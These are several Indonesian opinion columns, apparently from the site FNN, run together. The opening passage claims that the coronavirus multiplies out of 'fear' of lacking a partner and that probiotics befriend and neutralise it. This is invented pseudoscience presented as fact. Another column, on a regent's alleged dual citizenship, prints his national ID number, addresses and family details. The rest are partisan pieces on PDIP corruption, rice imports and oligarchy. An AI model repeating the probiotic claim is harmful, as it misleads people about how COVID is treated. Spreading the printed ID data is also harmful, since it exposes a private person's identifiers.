Manakala tidak ada pasangannya, mereka akan gelisah, lalu mereplikasi dirinya semaksimal mungkin. Hal itu dilakukan karena adanya ketakutan/kegelisahan mereka. Dengan menyemprotkan cairan ber-probiotik di bagian luar tubuh manusia, maka membuat mereka tidak resisten dan tidak berkembang biak terus-menerus. Dengan memasukkan probiotik ke dalam tubuh penderita, maka corona itu akan menemukan pasangannya, sehingga mereka merasa aman, dan tak akan melakukan proses regeneratif lagi. Mereka merasa nyaman, lalu secara bertahap akan menjadi bagian dari mikrobioma di tubuh. Mereka menjadi mematikan dan sangat ganas, karena ketakutannya akan keberlangsungan hidupnya di dunia akan berakhir, makanya mereka berusaha sekuat-kuatnya mempertahankan keberadaannya di muka ini. Kalau terjadi di dalam tubuh, terutama di saluran pernafasan, mereka akan mengalami proses regenerasi yang sangat cepat. Itu dilakukan sebagai bentuk usahanya untuk mempertahankan kehidupannya. Dalam proses itulah muncul cairan, sebagai tempat hidup mereka. Hanya saja, cairan tempat hidupnya itu bersifat toksik bagi tubuh manusia, sehingga merusak mukosa di saluran pernafasan, dan sampai ke paru-paru, merusak paru-paru, lalu paru-paru kaku, tidak bisa bergerak secara leluasa, akibat nafasnya sesak, maka gagal nafas. Dengan memasukkan probiotik ke ttubuh kita, maka corona sebagian besar akan menemukan pasangannya, sehingga mereka tak regeneratif lagi, dan bersifat tak menyakiti. Sisanya, akan dikoloni oleh probiotik yang lainnya. Jadi, formula probiotik itu tidak bersifat membunuh mereka, tetapi menjadi sahabat mereka, dan mengajak kembali ke habitat dan sifat alamiahnya. Penulis adalah Wartawan Senior FNN.co.id.

Polemik Kewarganegaraan Ganda dari Bupati Terpilih Sabu-Raijua Orient Patriot Riwukore Semakin Jelas

By Nicholay Aprilindo Jakarta, FNN - Pihak Kementerian Dalam Negeri (Kemendagri) menyebutkan, paspor Amerika Serikat (AS) milik Bupati Sabu Raijua terpilih Orient Patriot Riwu Kore sudah kedaluwarsa atau expire. Hal itu diungkapkan Direktur Jenderal Kependudukan dan Pencatatan Sipil (Dukcapil) Kemendagri Prof.Dr. Zudan Arif Fakrulloh dalam diskusi daring, Rabu (3/3/2021) malam. "Jadi Pak Orient pernah memiliki paspor amerika, paspornya itu sudah expire," kata Zudan. Zudan menjelaskan, Orient memang tercatat sebagai warga negara Indonesia (WNI) sejak tahun 1997 sampai dengan saat ini. Namun, karena ada fakta bahwa ia memiliki dua paspor yakni AS dan Indonesia maka Dukcapil Kemendagri meminta klarifikasi pada pihak Direktorat Jenderal Imigrasi Kementerian Hukum dan HAM. Dukcapil Kemendagri juga meminta klarifikasi langsung pada Orient terkait kepemilikan paspor AS. Dalam klarifikasi tersebut, Orient mengakui bahwa ia memiliki paspor Amerika namun masa berlakunya sudah kedaluwarsa. "Kemudian saya bertanya Pak Orient pernah enggak melakukan pelepasan kewarganegaraan? 'Tidak pernah'," ucap Zudan. Zudan juga meminta klarifikasi bagaimana Orient bisa memiliki paspor AS tersebut. Dari hasil klarifikasi, diketahui bahwa Orient memiliki paspor karena diberikan oleh tempatnya bekerja saat di Amerika Serikat. Saya tanyakan bagaimana caranya bisa mendapatkan paspor? "Saya (Orient) bekerja di instalasi penting di Amerika, yang untuk masuk instalasi itu harus memiliki paspor Amerika maka saya diberi paspor itu'," ucap Zudan, sembari menuturkan jawaban Orient. Fakta Lain Membuktikan, yaitu: profil Orient P Riwu Kore, Bupati terpilih WN Amerika Serikat ini cukup menarik bila disimak lebih jauh. Dia lahir di Kupang, pada 7 Oktober 1965. Orang tuanya Drs. Agustinus David Riwu Kore - dari Sabu Liae - dan Ema Mariance Koroh Dimu - dari Mehara. Orient P. Riwu Kore sendiri merupakan putra ke empat dari delapan bersaudara. Orient Patriot Riwukore mengikuti Pendidikan S2 di AS dan Menikah Ketika masih menjalani pendidikan S2 di Amerika, Orient P. Riwu Kore menikahi Trini Martinez. Pernikahan itu dilaksanakan pada tahun 1996, keduanya kemudian menetap di AS. Istrinya sendiri lahir dan besar di Los Angeles, USA. Trini keturunan Jahudi dari Spanyol yang pindah ke Amerika setelah Perang Dunia ke II. Pernikahan Orient P. Riwu Kore dikarunia dua orang anak. Seorang laki-laki bernama Franklin Riwu Kore sudah menata karier sebagai Sniper tentara Amerika (US-ARMY). Anak laki-laki Orient P. Riwu Kore saat ini bertugas di Afganistan setelah bertugas sembilan bulan di Raqqa-Suriah. Sementara anak perempuannya, Jessica Riwu Kore berkuliah di Nursing Program di South Western College, San Diego USA. Riwayat Pendidikan Orient P Riwu Kore Orient Riwu Kore menyelesaikan pendidikan dasar di SD Inpress Nunbaun Sabu, Kupang tahun 1977. Kemudian melanjutkan pendidikan menengah pertama di SMP Negeri 1 Kupang dan lulus tahun 1980. Setelah itu melanjutkan pendidikan di SMEA Negeri Kupang dan lulus tahun 1983. Berikut ini riwayat pendidikan Orient Riwu Kore: Menyelesaikan pendidikan Sarjana Administrasi Niaga di Universitas Nusa Cendana (UNDANA) Kupang tahun 1987. Menyelesaikan Pendidikan Master of Arts (MA) in Religius Studies diselesaikan di University of California (UCLA) Los Angeles (1996) Menyelesaikan Master of Business Administration (MBA) di selesaikan di University of Southern California (USC) tahun (1999) Menyelesaikan pendidikan Master of Theology (Th.M) California Center of Theological Studies USA (2001). Dia juga menyandang tiga gelar doktor antara lain: Doktor of Philosophy (Ph.D) diselesaikan di Dallas Theology Seminary di Texas (2004) Ph.D Accouting & Finance, diselesaikan di Argosy University of San Diego (2010) Doktor of Business Administration (DBA) di selesaikan di North Central University, Presscott, Arizona USA (2016). Pada tahun 2003, Orient P. Riwu Kore pindah ke Amerika bersama seluruh anggota keluarganya. Orient P. Riwu Kore bekerja sebagai supervisor untuk membangun sistem video untuk border atau perbatasan antara USA dan Mexico. Analisa Fakta Pernyataan Dirjen Dukcapil yang mengatakan sejak 1997 hingga saat ini Orient Patriot Riwukore tercatat sebagai WNI Orient pernah memiliki paspor amerika, paspornya itu sudah kedaluarsa atau expire," Menurut pengakuan Orient Patriot Riwukore tidak pernah melepaskan WNI Orient mengaku mendapat paspor Amerika serikat dari tempat kerjanya di instalasi penting, karena untuk masuk instalasi itu harus memiliki paspor Amerika maka Orient Patriot Riwukore diberi paspor itu (Pasport Amerika Serikat), Ketika masih menjalani pendidikan S2 di Amerika, Orient P. Riwu Kore menikahi Trini Martinez. Pernikahan itu dilaksanakan pada tahun 1996, keduanya kemudian menetap di AS. Pernikahan Orient P. Riwu Kore dikarunia dua orang anak. Seorang laki-laki bernama Franklin Riwu Kore sudah menata karier sebagai Sniper tentara Amerika (US-ARMY). Anak laki-laki Orient P. Riwu Kore saat ini bertugas di Afganistan setelah bertugas sembilan bulan di Raqqa-Suriah. Sementara anak perempuannya, Jessica Riwu Kore berkuliah di Nursing Program di South Western College, San Diego USA. Pada tahun 2003, Orient P. Riwu Kore pindah ke Amerika bersama seluruh anggota keluarganya. Orient P. Riwu Kore bekerja sebagai supervisor untuk membangun sistem video untuk border atau perbatasan antara USA dan Mexico. Pada tahun 1993, Orient Patriot Riwukore mendapat kesempatan belajar ke Amerika. Sambil sekolah S2 nya, Orient mencoba melamar dibeberapa perusahaan di Los Angeles, dan diterima dan bekerja di Los Angeles Telecommunication sebagai manager keuangan. Kemudian pada tahun 2001, Orient Patriot Riwukore mendapatkan tawaran sebagai Manager Operational dari Wave Communication, dan pindah ke Texas. Pada Tahun 2004, Orient Riwu Kore melamar pekerjaan ke Digital Telecommunication Group-USA, dan diterima sebagai Direktur Operational, kemudian pindah dan mulai bekerja dikantor di San Diego. Tahun 2007 sampai 2012, Orient Patriot Riwukore active sebagai Master Masons, dalam Secret Organisasi Freemasons (America Secret Society). Pada tanggal 16 -12-2018 terbit surat ketetangan dari Dukcapil Jakarta selatan bahwa Orien Patriot Riwukore adalah Penduduk Jakarta selatan yang beralamat di Jl.Panglima Polim Kebayoran Baru. Pada tanggal 02-10-2019, keluar KTP Nasional Elektronik Nomor 3172020710640008, atas nama DRS. Orient P. Riwu Kore yang beralamat di Jl.Warakas GG.22 RT/RW 003/007, Kel./Desa Papanggo, Kec.Tanjung Priok, Jakarta Utara. Pada tanggal 16 September 2020, Keluar pernyataan dari Kadukcapil kota kupang. Nomor: DKPS.470/1074/1X/2020 Perihal: Klarifikasi Keabsahan Dokumen KTP-EL atas nama Orient P. Riwu Kore Pada hari ini rabu tanggal enam belas bulan September tahun dua ribu dua puluh bertempat di ruang kepala dinas kependudukan dan pencatatan sipil Kota Kupang telah dilakukan klarifikasi terhadap keabsahan dokumen KTP-EL atas nama Orient P. Riwu Kore yang dijelaskan secara langsung oleh Kepala Dinas Kependudukan dan Pencatatan Sipil Kota Kupang kepada Ketua Komisi Pemilihan Umum Daerah Kabupaten Sabu Raijua yang pada intinya bahwa proses pengurusan administrasi kependudukan berupa KTP-EL atas nama Orient P. Riwu Kore adalah benar warga Kota Kupang yang beralamat di RT 003/RW 001 Kelurahan Nunbaun Sabu Kecamatan Alak Kota Kupang dan telah dilaksanakan sesuai dengan amanat Undang-Undang Nomor 24 Tahun 2013 sebagai pengganti Undang-Undang Nomor 23 Tahun 2006 tentang Administrasi Kependudukan demikian berita acara ini dibuat untuk dapat dipergunakan sebagaimana mestinya. Kupang, 16 September 2020 Tanda Tangan Kepala Dukcapil Kota Kupang Agus Ririmase Pada tanggal 01 Februari 2021, Keluar Surat dari Kedutaan Besar USA kepada Bawaslu RI yang menyatakan bahwa betul Orien Patriot Riwu Kore adalah Warga Negara Amerika Serikat. Surat itu ditandatangani Kepala Bagian Konsuler, Eric M Alexander. Cuplikan surat elektronik tersebut berbunyi: "We would like to inform you that Mr Orient Patriot Riwukore is holding a US Citizenship (Kami ingin memberi tahu Anda bahwa Tuan Orient Patriot Riwukore memegang kewarganegaraan AS)". Selain itu fakta menunjukkan anak laki-laki Orient Patriot Riwu Kore yang bernama Franklin Riwu Kore adalah Tentara Amerika Serikat (US ARMY). Bahwa dari beberapa fakta yang terungkap diatas, maka ada beberapa catatan khusus yaitu: Orient Patriot Riwu Kore patut diduga mempunyai 5 tanda pengenal yang masing-masing beralamat berbeda-beda, yaitu: Berdasarkan surat keterangan dari Pemerintah Provinsi Daerah Khusus Ibukota Jakarta Suku Dinas Kependudukan dan Pencatatan Sipil kota administrasi Jakarta Selatan yang dikeluarkan pada tanggal 16 Desember 2018, KTP-EL Provinsi DKI Jakarta, Jakarta Utara NIK 3172020710640008 yang dikeluarkan 02 Oktober 2019, KTP-EL Provinsi Nusa Tenggara Timur, Kota Kupang berdasarkan surat pernyataan dari Dukcapil Kota Kupang Nomor: GKPS.470/1074/IX/2020 tertanggal 16 September 2020 Perihal klarifikasi keabsahan dokumen KTP-EL atas nama Orient P. Riwu Kore yang beralamat di RT 003/RW 001 Kel. Nunbaun Sabu, Kec. Alak, Kota Kupang, Provinsi NTT. Paspor Amerika Serikat yang dibenarkan oleh Kepala bagian Konsuler pada Kedutaan Besar Amerika Serikat di Jakarta Eric M. Alexander tertanggal 01 Februari 2021 yang menyatakan "We would like to inform you that Mr. Orient Patriot Riwukore is holding a US Citizenship (Kami ingin memberi tahu Anda bahwa Tuan Orient Patriot Riwukore memegang kewarganegaraan AS)". Paspor Indonesia Dengan kelima tanda pengenal seperti tersebut di atas maka patut diduga Orient Patriot Riwu Kore tinggal tidak menetap pada satu tempat dan berpindah-pindah dalam kurun waktu tertentu. Kalau betul apa yang dikatakan Dirjen Dukcapil Prof.Zudan bahwa sejak 1997 sampai saat ini Orient Patriot Riwu Kore masih sebagai WNI, Sedangkan pengakuan dari Orient Patriot Riwu kore bahwa dia mendapatkan paspor amerika serikat karena bekerja instalasi penting USA, Dan disisi lain Dirjen Dukcapil Kemendagri mengatakan bahwa Paspor Amerika Serikat Orient Patriot Riwu Kore sudah Kedaluarsa atau expire, sedangkan Surat dari Kedutaan Besar USA pertanggal 01 Februari 2021 menyatakan bahwa Orient Patriot Riwu Kore masih memegang kewarganegaraan USA, maka semakin jelas Polemik Kewarganegaraan ganda dari Orien Patriot Riwu kore, mempunyai masalah hukum yang serius, khususnya berdasarkan UU Nomor 12 Tahun 2006 Tentang Kewarganegaraan Indonesia, khususnya Bab IV Pasal 23 sudah sangat jelas dan tidak multitafsir. Dan untuk pembuktiannya haruslah dibawa ke proses hukum secara pidana untuk mendapatkan kepastian hukum. UU No.12 Tahun 2006 Tentang Kewarga Negaraan RI pada Bab IV KEHILANGAN KEWARGANEGARAAN INDONESIA Pasal 23 "Warga Negara Indonesia kehilangan kewarganegaraanya jika": Dalam huruf h: "mempunyai paspor atau surat yang bersifat paspor dari negara asing atau surat yang dapat diartikan sebagai tanda kewarganegaraan yang masih berlaku dari negara lain atas namanya atau.....dst.” Sudah sangat jelas dan tidak ada pejelasan lain serta tidak multi tafsir, tidak ada pengecualian dan tidak mengenal kadaluarsa, namun tegas dinyatakan dalam pasal 23 tersebut. Hal-hal tersebut di atas perlu mendapat perhatian serius dari Pemerintah Republik Indonesia dalam hal ini Mendagri Jenderal Polisi Tito Karnavian, karena menyangkut kewibawaan dan penegakan hukum dan kewibawaan serta kedaulatan Negara. Penulis adalah Aktivis Polhukam, Alumnus Lemhannas RI-2011.

Ironi PDIP: Sarang Koruptor, Tapi Jadi Pemenang Pemilu

By Mochamad Toha Surabaya, FNN - Sejak KPK didirikan dan beroperasional, ratusan orang yang berafiliasi dengan partai banteng terseret dalam arus kasus korupsi. Terbaru, Gubernur Sulawesi Selatan Nurdin Abdullah juga diciduk KPK, Sabtu (27/2/2021) dini hari. Sebelumnya, mantan Menteri Sosial Juliari P. Batubara, Bendahara Umum DPP PDIP tercatat sebagai pesakitan kasus rasuah juga, terkait dana bansos. Jika harus dikembangkan dengan mereka yang pernah disebutkan di dalam pengadilan kasus korupsi, maka jumlah politikus kandang banteng jauh lebih banyak. Sebut saja nama Puan Maharani yang kini menjabat Ketua DPR RI dan Ganjar Pranowo yang menjabat Gubernur Jawa Tengah, juga disebut terpidana korupsi Setya Novanto pada kasus korupsi pengadaan e-KTP. Namun, ironinya, PDIP sejak masa reformasi tercatat menjadi 3 kali pemenang Pemilu dan mengantarkan 2 kadernya menjadi Presiden RI. Ironi inilah yang menjadi tanda tanya besar: Apakah rakyat Indonesia memang rakyat yang koruptif, atau rakyat Indonesia memang “buta dan bodoh” politik? Dalam 6 bulan terakhir, setidaknya terdapat 5 politisi PDIP yang diciduk KPK terkait dengan tindak pidana korupsi. Terbaru adalah KPK menangkap Gubernur Sulawesi Selatan Nurdin Abdullah, Sabtu (27/3/2021) dini hari. Nurdin adalah Gubernur Sulsel yang diusung PDIP dalam Pilkada 2018 lalu. Penangkapan Nurdin ini menambah deretan nama kader atau kepala daerah PDIP yang ditangkap KPK. Sebelumnya, ada nama Andreu Misanta Pribadi. Mantan calon legislatif PDIP itu adalah eks Staf Khusus Menteri Kelautan dan Perikanan, Edhy Prabowo. Dia menyerahkan diri ke KPK karena diduga terlibat dalam praktik suap eksportasi benih lobster alias Benur. Juga ada nama Wenny Bukamo, mantan Bupati Banggai Laut, Sulawesi Tengah. Bupati dari PDIP itu ditangkap KPK kasus kasus suap terkait proyek di Kabupaten Banggai Laut. Sebelumnya, KPK juga telah menangkap Walikota Cimahi, Ajay Muhammad Priatna. Ajay adalah Ketua DPC PDIP Kota Cimahi, Jumat (27/11/2020). Pria kelahiran Bandung 1966 ini ditangkap KPK dalam kasus dugaan korupsi proyek pengadaan pembangunan RS di Cimahi. Selain Kepala Daerah, ada juga politisi PDIP, Juliari P Batubara. Mantan Menteri Sosial yang juga pejabat di DPP PDIP itu ditangkap karena melakukan korupsi pengadaan paket bantuan sosial alis bansos Covid-19. Di Jawa Tengah, PDIP menjadi sorotan publik lantaran menjadi partai dengan Kepala Daerah tertangkap KPK terbanyak di Jateng. Hal itu menarik perhatian seorang Nahdatul Ulama (NU), Umar Hasibuan, atau yang akrab disapa Gus Umar. Melansir dari Pikiran-Rakyat.com, Selasa (5 Januari 2021, 16:12 WIB), dalam akun Twitter-nya, Gus Umar membagikan infografis soal nama-nama Kepala Daerah yang tertangkap tangan KPK selama periode 2000 – 2018. Dalam caption-nya, Gus Umar mengatakan, “Mantap jiwa PDIP. Kalian luar biasa,” tulisTwitter @UmarHasibuan75. Mantap jiwa PDIP. Kalian luar biasa? Haji Umar Chelsea (@UmarHasibuan75) Januari 4, 2021. Gus Umar menyoroti hasil temuan bahwa PDIP menjadi partai yang kadernya terbanyak melakukan korupsi dan tertangkap tangan KPK. Dalam infografis itu disebutkan, kader PDIP yang tertangkap KPK dalam jabatannya sebagai Kepala Daerah sebanyak 15 orang. Sedangkan untuk partai-partai lain hanya berkisar 1 sampai dua orang saja, misalnya dari partai Golkar tercatat 2 orang, dari PKB 1 orang, dari PPP 1 orang, dari Demokrat 1 orang, dan dari Gerindra 1 orang. Dari hasil tersebut, bisa disimpulkan, di Jateng yang kerap dijuluki sebagai kandang banteng justru menjadi daerah dengan Kepala Daerah tertangkap KPK terbanyak. Netizen pun ramai menanggapi unggahan Gus Umar tersebut. Sebagian besar dari mereka merasa heran kenapa di Jateng PDIP masih menjadi primadona. “Hebatnya rakyat Jateng masih saja memilih PDIP,” tulis akun bernama @syahputrazz. “Gak habis pikir dengan orang2 Jateng, udah tau juara korupsi, tetep julukannya kandang banteng, atau memang begitulah mental masyarakat Indonesia, permisif terhadap korupsi,” kata akun bernama @kokoarif1. Sepanjang tahun 2018, KPK menangkap 19 kepala daerah dalam OTT mulai 4 Januari hingga hingga 27 Oktober 2018. OTT KPK pertama terjadi pada 4 Januari 2018. Saat itu KPK mengamankan Bupati Hulu Sungai Tengah (HST) Abdul Latif, yang juga menjabat Ketua Dewan Pimpinan Wilayah (DPW) Partai Berkarya Kalimantan Selatan. Selanjutnya, KPK kembali melakukan OTT pada 3 Februari 2018. Dalam OTT saat itu, KPK mengamankan Bupati Jombang Nyono Suharli Wihandoko, yang juga Ketua DPD Golkar Jawa Timur. Dari 19 kepala daerah tersebut, sebanyak 7 orang berasal dari PDIP. Lima orang dari Golkar, 2 PAN, 1 NasDem, 1 Perindo, 1 Berkarya, 1 Partai Nanggroe Aceh, dan 1 usungan koalisi PDIP-PKB saat maju dalam pilkada. Partai-partai tersebut pun telah mengambil tindakan tegas bagi para kadernya yang terkena OTT KPK. Tindakan tegas itu antara lain langsung memecat atau memberhentikan sementara kader yang terkena OTT. Berikut ini daftar 19 kepala daerah yang kena OTT KPK hingga 27 Oktober 2018: 1. Pada 4 Januari 2018: Bupati Hulu Sungai Tengah Abdul Latif (Partai Berkarya); 2. Pada 3 Februari: Bupati Jombang Nyono Suharli Wihandoko (Partai Golkar); 3. Pada 11 Februari: Bupati Ngada Marianus Sae (Diusung PDIP-PKB untuk maju sebagai cagub NTT); 4. Pada 13 Februari: Bupati Subang Imas Aryumningsih (Partai Golkar); 5. Pada 14 Februari: Bupati Lampung Tengah Mustafa (NasDem); 6. Pada 27 Februari 2018: Walikota Kendari Adriatma Dwi Putra (PAN); 7. Pada 10 April: Bupati Bandung Barat Abu Bakar (PDIP); 8. Pada 15 Mei: Bupati Bengkulu Selatan Dirwan Mahmud (Perindo); 9. Pada 23 Mei: Bupati Buton Selatan Agus Feisal Hidayat (PDIP); 10. Pada 4 Juni: Bupati Purbalingga Tasdi (PDIP); 11. Pada 6 Juni: Walikota Blitar M Samanhudi Anwar (PDIP); 12. Pada 6 Juni: Bupati Tulungagung Syahri Mulyo (PDIP); 13. Pada 3 Juli: Gubernur Aceh Irwandi Yusuf (Partai Nanggroe Aceh); 14. Pada 3 Juli: Bupati Bener Meriah Ahmadi (Golkar); 15. Pada 17 Juli: Bupati Labuhanbatu Pangonal Harahap (PDIP); 16. Pada 27 Juli: Bupati Lampung Selatan Zainudin Hasan (PAN); 17. Pada 4 Oktober: Walikota Pasuruan Setiyono (Golkar); 18. Pada 14 Oktober: Bupati Bekasi Neneng Hassanah Yasin (Golkar); 19. Pada 24 Oktober: Bupati Cirebon Sunjaya Purwadisastra (PDIP). Pada Kamis (25/2/2021), Tim penyidik KPK juga telah memeriksa Bupati Semarang Terpilih Ngesti Nugraha dalam kapasitasnya sebagai Ketua DPC PDIP Kabupaten Semarang. Ngesti diperiksa sebagai saksi kasus dugaan suap pengadaan bansos Covid-19. Ia diperiksa terkait suap bansos Covid-19 untuk wilayah Jabodetabek yang menjerat mantan Menteri Sosial Juliari P. Batubara. Keterangan politikus PDIP itu dibutuhkan penyidik untuk melengkapi berkas penyidikan dengan tersangka mantan Pejabat Pembuat Komitmen (PPK) Kementerian Sosial, Matheus Joko Santoso. Ngesti Nugraha sebagai Ketua DPC PDIP Kabupaten Semarang diperiksa sebagai saksi untuk tersangka Matheus Joko Santoso. Sebagai “Juara Korupsi”, seperti ditulis Gresnews.com, Selasa (21/04/2015 14:45 WIB), ini bisa menjadi preseden buruk citra partai (PDIP). Itulah yang terjadi pada 2015 terkait dengan politisi yang terlibat korupsi. Sekjen PDIP Hasto Kristyanto mengatakan, sesuai perintah Ketum DPP PDIP Megawati Soekarnoputri, PDIP harus jadi yang terdepan dalam perang melawan korupsi. Kejahatan korupsi, sambung Hasto, membuat Indonesia tak bisa menerapkan Tri Sakti Bung Karno. Sebelumnya seperti yang dilansir akun Twitter KPKwatch_RI, terdapat 466 politikus yang terjerat kasus korupsi. Ada sembilan partai politik yang kadernya melakukan tindak pidana korupsi. PDIP memang penyumbang koruptor terbanyak yang melibatkan 157 kader. Disusul, Golkar dengan 113 kader. Partai Demokrat (49 kader). PAN (41 kader). PPP (22 kader). Juga, Partai Hanura (13 kader). PBB (9 kader). PKPI (5 kader). PKS (4 kader). Jika menyimak fakta hukum seperti di atas, masihkah rakyat pada Pemilu dan Pilpres 2024 akan memilih “partai koruptor”? *** Penulis wartawan senior FNN.co.id

Habis Bilang Benci Produk Asing Malah Impor Satu Juta Ton Beras

PRESIDEN Jokowi mengajak rakyat untuk membenci produk asing. Dilihat dari kalimatnya, sangat jelas Presiden Jokowi tidak memahami persoalan yang diucapkan. Kalau mau sedikit berpikir positif, diksinya sangat terbatas. Di luar itu, ucapan tersebut juga kian menegaskan bahwa Presiden Jokowi adalah figur yang inkonsisten. Presiden Jokowi mengucapkan hal itu karena diminta oleh Menteri Perdagangan Luthfi untuk ikut mempromosikan barang-barang produk Usaha Mikro Kecil dan Menengah (UMKM). Pemerintah ingin mendorong agar produk UMKM menjadi produk andalan dan menjadi pilihan publik. Karuan saja, pernyataan Jokowi menimbulkan kehebohan. Sudah menjadi pemahaman kita bersama, bahwa di bawah kepemimpinan Jokowi, nilai impor terus meningkat. Barang-barang produk asing, khususnya asal Cina mengalir deras, masuk ke pasar Indonesia. Yang memprihatinkan, karena harganya yang sangat murah, banyak produk-produk UMKM gulung tikar. Tak mampu bersaing. Pernyataan benci produk asing, tentu saja tak sesuai dengan semangat zaman. Dalam era globalisasi, dunia menjadi saling bergantung satu dengan lainnya. Agar produk-produk Indonesia bisa bersaing dengan produk asing, maka kita harus berbenah. Terutama pemerintah. Tidak bisa produk-produk lokal, apalagi UMKM diminta bersaing sendirian di pasar bebas, tanpa peran dan bantuan pemerintah. Mengajak publik membenci produk asing, bukanlah ucapan yang diharapkan oleh pelaku UMKM dari seorang presiden. Belum lagi bila kita bicara pada rezim perdagangan bebas. Indonesia adalah salah satu anggota perdagangan Dunia (WTO). Proteksi yang berlebihan terhadap produk-produk domestik, sangat bertentangan dengan tujuan pasar bebas. Apa artinya? Indonesia bakal dikucilkan oleh komunitas dunia. Lebih menyedihkan lagi bila ucapan presiden itu hanya merupakan retorika kosong, dan keterbatasan pemahaman serta diksi. Sejauh ini soal retorika kosong, dan inkosistensi adalah stigma yang melekat kuat pada Presiden Jokowi. Pada kampanye Pilpres 2014 Jokowi mempersoalkan, mengapa sebagai negara agraris Indonesia masih terus mengimpor kedelai, jagung dan bahan pokok lainnya. Dia bertekad mengakhiri semuanya bila terpilih menjadi presiden. Faktanya, hingga dia memasuki periode kedua masa jabatan, semua kebutuhan pokok masih terus diimpor. Bukan hanya kedelai, jagung, gandum, gula, garam, dan beras juga masih tetap impor. Indonesia tidak pernah bisa berswasembada pangan, seperti pernah dicapai pada masa Orde Baru. Anehnya, Jokowi masih selalu mempertanyakan dan merasa heran mengapa kita masih terus impor. Harusnya Jokowi bertanya kepada diri sendiri. Apa saja yang dia lakukan selama 6 tahun menjadi presiden. Masihkah dia ingat dengan janji-janjinya pada pemilu lalu. Untuk yang satu ini rasanya kita sulit berharap banyak pada Jokowi. Jangankan janjinya pada Pilpres. Sehari setelah heboh ajakannya membenci produk asing, pemerintah memutuskan membuka keran impor satu juta ton beras. Apakah Jokowi kali ini akan mengajak rakyat untuk membenci juga beras impor. Memilih kelaparan, karena beras lokal tidak tersedia karena gagal panen. Ah ….Pak Jokowi…. Kapan berhenti dengan retorika kosong, dan menebar janji-janji palsu?**

Oligarki dan Demokrasi Anti Klimaks

Oleh Tamsil Linrung Jakarta, FNN - Demokrasi bisa naik, bisa turun, bergantung pada banyak faktor. Musabab paling pokok adalah karakter dan gaya kepemimpinan. Bila pemimpinnya dzolim, demokrasi akan mati namun dibedaki seolah-olah hidup. Oleh karena itu, membahas demokrasi Indonesia tidak bisa melepaskan diri dari sudut pandang kepemimpinan Presiden Jokowi. Namun sayangnya, di bawah kepemimpinan beliau, Indonesia tak cuma paceklik ekonomi, tetapi juga resesi demokrasi. Oligarki tumbuh sehat, dinasti politik bahkan dimulai dari diri presiden sendiri. Anak dan menantu diberi ruang menjadi kepala daerah dari negara yang dipimpin oleh ayah dan mertua. Ini adalah sejarah pertama di Indonesia sekaligus cermin paling buruk dinamika demokrasi kita. Berlimpah ruah argumentasi demokratis yang dapat diajukan menjadi pembela. Tetapi, seorang negarawan sejati tak akan pernah membiarkan keluarganya duduk dalam tahta kepemimpinan daerah dari negeri yang dipimpinnya, karena berpotensi mengundang kontroversi, cemoohan dan persepsi buruk dari rakyat. Oligarki adalah musuh biadab demokrasi. Bukan hanya Covid-19, wabah oligarki juga menjadi pandemi dalam konteks politik Indonesia hari ini. Kemasan setiap pengambilan keputusan selalu dipoles seolah-olah demokratis. Tetapi esensinya tetaplah memperkuat oligarki. Politik turun-temurun adalah bagian dari wajah oligarki yang mencengkeram Indonesia hari-hari ini. Wajah politik turun temurun terlihat sejak awal pemerintahan periode kedua, selain dari terang benderangnya politik dinasti yang dipertontonkan di hadapan kita. Publik bisa meraba relasi oligarki kekuasaan dan politik turun temurun itu. Nikmat oligarki bahkan sempat menggelontorkan wacana amandemen UUD 1945 terkait Presiden 3 Periode. Saat itu, banyak yang bertanya-tanya, lompatan besar apa yang telah dilakukan sehingga wacana presiden 3 perode dimunculkan? Kolumnis produktif Tony Rasyid sempat mengulas berkali-kali tentang wacana yang sulit dijangkau akal sehat ini. Pertanyaan tersebut harus selalu diajukan agar fokus perhatian kita selalu berpulang kepada substansi. Kita tahu, sebagian dilema demokrasi Indonesia hari ini adalah fenomena buzzer politik. Siapa pun yang mengkritisi kebijakan pemerintah, buzzer selalu siap membela. Bila ada persoalan serius atau blunder politik, buzzer dengan cekatan akan mengalihkan perhatian publik. Anti Klimaks Indonesia punya catatan demokrasi yang panjang. Ada klimaks, ada anti klimaks. Hari ini kita berada pada ruang demokrasi anti klimaks. Anti klimaks itu ditandai oleh indeks demokrasi Indonesia yang semakin turun. The Economist Intelligence Unite menempatkan indeks demokrasi Indonesia pada rangking 64 dunia dan menjadi pencapain terburuk selama 14 tahun terakhir. Kita bahkan berada di bawah Malaysia dan Timor Leste, negara baru pecahan Indonesia. Penurunan indeks demokrasi tersebut terjadi seiring dengan menguatnya oligarki. Oligarki menjadi kuat karena dua hal. Pertama, karena politik kita berbiaya mahal. Pemilihan Presiden ditengarai beberapa pihak mencapai triliunan rupiah. Angka ini fantastis dan sulit bahkan mustahil dipenuhi oleh kandidat secara mandiri. Maka kandidat Pilpres berjejaring dengan para pengusaha sehingga menjadi cikal bakal terbentuknya oligarki. Kedua, adanya presidential threshold, selain mengerdilkan demokrasi, juga menjadi sumber petaka oligarki. Untuk mengusung calon presiden, partai politik sejak awal harus bersekutu demi memenuhi ambang batas pencalonan. Padahal, ambang batas tak lebih dari keengganan partai politik besar memunculkan figur-figur alternatif dalam kontestasi Pilpres. Sebagai akibat dari fenomena itu adalah melemahnya kekuatan oposisi. Kita tahu, oposisi adalah nyawa demokrasi. Partai politik yang hari ini nyata-nyata beroposisi terhadap pemerintah hanya Partai Keadilan Sejahtera. Dalam beberapa sikap, juga Partai Demokrat. Sementara rekonsiliasi politik yang beraroma elitis hanya menambah daftar panjang kuasa oligarki politik. Oligarki harus dilawan, tak boleh dibiarkan tumbuh subur, menjadi kanker yang menggerogoti demokrasi. Sebab, oligarki mereduksi partisipasi politik dan kedaulatan rakyat yang secara keseluruhan berujung pada tumbuhnya sikap anti demokrasi. Celakanya, sikap anti demokratis tersebut dapat merembes pada rakyat kebanyakan. Karena oligarki cenderung mengandalkan kekuatan finansial, suara rakyat dikalkulasi dalam nominal rupiah. Rakyat dididik melihat pesta demokrasi sebagai musim amplop. Rakyat hanya dibutuhkan sebagai stempel demokrasi semata. Usai memperoleh suara rakyat, pemerintahan yang tersandera oligarki cenderung tidak memusatkan pikiran pada kesejahteraan mereka. Sebaliknya, oligarki justru memaksakan kehendak dengan produk-produk kebijakan yang menguntungkan investor. Salah satunya bisa kita lihat pada pengesahan UU Cipta Kerja yang mendapat pertentangan dari masyarakat kelas menengah dan buruh. Sebagai buntut UU yang ditengarai pro-investor tersebut, baru-baru ini lahir Peraturan Presiden nomor 10 Tahun 2021 yang memberikan izin investasi minuman keras di empat provinsi di Indonesia. Kebijakan tersebut seperti kacamata kuda. Hanya berfokus pada investor dengan harapan dapat mengatrol ekonomi bangsa yang sedang sulit, tanpa mengaca karakter umum manusia Indonesia 